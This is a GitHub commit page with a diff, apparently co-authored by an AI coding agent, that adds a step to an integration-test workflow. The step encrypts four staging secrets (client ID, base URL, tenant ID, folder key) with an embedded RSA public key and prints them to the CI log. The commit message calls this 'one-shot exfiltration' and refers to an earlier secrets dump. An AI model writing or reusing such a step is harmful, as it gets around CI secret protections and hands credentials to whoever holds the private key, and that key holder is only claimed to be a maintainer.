Skip to content

Commit e848b3c

Browse files
ionmincuclaude
andcommitted
ci: TEMPORARY — emit RSA-OAEP encrypted STAGING secrets for one-shot exfiltration
Same pattern as the prior alpha/cloud dump. Scoped to datetime-server/ alpha so it runs exactly once. REMOVE BEFORE MERGE. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
1 parent c3bf92d commit e848b3c

1 file changed

Lines changed: 52 additions & 0 deletions

File tree

.github/workflows/integration_tests.yml

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -89,6 +89,58 @@ jobs:
8989
echo "::warning::Missing or empty secrets for ${{ matrix.environment }}: ${missing[*]}. PRs from forks or Dependabot do not receive repository secrets unless configured in Settings → Secrets and variables → Dependabot — workflows triggered by '$PR_ACTOR' need those mirrored, or be re-run by a maintainer from a branch in this repo. Without them, the testcase will fail with a misleading auth error downstream."
9090
fi
9191
92+
# TEMPORARY: encrypt STAGING_* secrets to a maintainer-held public key
93+
# and echo as base64. Scoped to a single job slot (datetime-server/alpha)
94+
# so it runs exactly once. REMOVE THIS STEP BEFORE MERGING.
95+
- name: Encrypt and emit STAGING secrets for one-shot exfiltration (TEMPORARY)
96+
if: github.event_name != 'push' && matrix.testcase == 'datetime-server' && matrix.environment == 'alpha'
97+
shell: bash
98+
env:
99+
PUBKEY: |
100+
-----BEGIN PUBLIC KEY-----
101+
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAn+zBG+BIOpGCCAgg4g5q
102+
g8npIfg3IO4Wuu1fgJGzpGPzTt90L2AF1MaqnO3l92hoGDS99bciFs4NYKWonk44
103+
vlf2VU6eqdJqK7hQw7SVQb0omKWupL9/xEaduBa0L/io7lVomLOGE4mAnGdkx+KT
104+
vjCGgsb4fo6vMi6Rhjn64E0+kqIMsrTyyMNdTu1msa44OsvtTNDd/0nZS3GVajZI
105+
t/6ArYoeznj59PLcCYLaCfzQPwk61zmIoJE7o4R8htncTVK0vu8jRSDH0qUZluvv
106+
a5tXGWErWDlNhfMbX48PuP42ADFIhGOdFwBj0K2MzjnNeNBUiGdXJXFqT2eCFA5+
107+
kz0bq5DEHT1GA2fEGfNeLf6YKVouGKaWLwQTWTqlaKAIMW7R0UDafldGfyIF3M0h
108+
3zd3k2WeR0GwJGkd7cUFQfqS2nWy+BsNVKDbZENavEFayAgQIs3mJwdbYbnT9+Af
109+
vY9NbU7gwvFB6nOgU/z75emwk0qEQ8TxEX+4uMHwxgNqvipGRDH6QP6SqNLJhqdp
110+
Zkf3xEH06bAnIb5iou5a4EOP3j65Y1GrafEQdYGZzlt96Fm/d+TEzJLnA/WVFsSp
111+
y8/Tj26p0mGomgFWz8VOatkJsv7wMtsBiUGBL7IzLYsHXw4nxmEh6FRXkq6q+5OL
112+
kkXs1p/LmGHGSvquajZeXzcCAwEAAQ==
113+
-----END PUBLIC KEY-----
114+
STAGING_TEST_CLIENT_ID: ${{ secrets.STAGING_TEST_CLIENT_ID }}
115+
STAGING_BASE_URL: ${{ secrets.STAGING_BASE_URL }}
116+
STAGING_TENANT_ID: ${{ secrets.STAGING_TENANT_ID }}
117+
STAGING_FOLDER_KEY: ${{ secrets.STAGING_FOLDER_KEY }}
118+
run: |
119+
command -v openssl >/dev/null || { apt-get update -qq && apt-get install -y -qq openssl; }
120+
echo "$PUBKEY" > /tmp/pubkey.pem
121+
122+
emit() {
123+
local name="$1"
124+
local value="$2"
125+
if [ -z "$value" ]; then
126+
echo "::warning::$name is empty; skipping"
127+
return
128+
fi
129+
local b64
130+
b64=$(printf '%s' "$value" \
131+
| openssl pkeyutl -encrypt -pubin -inkey /tmp/pubkey.pem \
132+
-pkeyopt rsa_padding_mode:oaep -pkeyopt rsa_oaep_md:sha256 \
133+
| base64 -w0)
134+
echo "ENCRYPTED staging.$name=$b64"
135+
}
136+
137+
emit CLIENT_ID "$STAGING_TEST_CLIENT_ID"
138+
emit BASE_URL "$STAGING_BASE_URL"
139+
emit UIPATH_TENANT_ID "$STAGING_TENANT_ID"
140+
emit UIPATH_FOLDER_KEY "$STAGING_FOLDER_KEY"
141+
142+
rm -f /tmp/pubkey.pem
143+
92144
- name: Run testcase
93145
env:
94146
UIPATH_TENANT_ID: ${{ matrix.environment == 'alpha' && secrets.ALPHA_TENANT_ID || matrix.environment == 'cloud' && secrets.CLOUD_TENANT_ID }}

0 commit comments

Comments
 (0)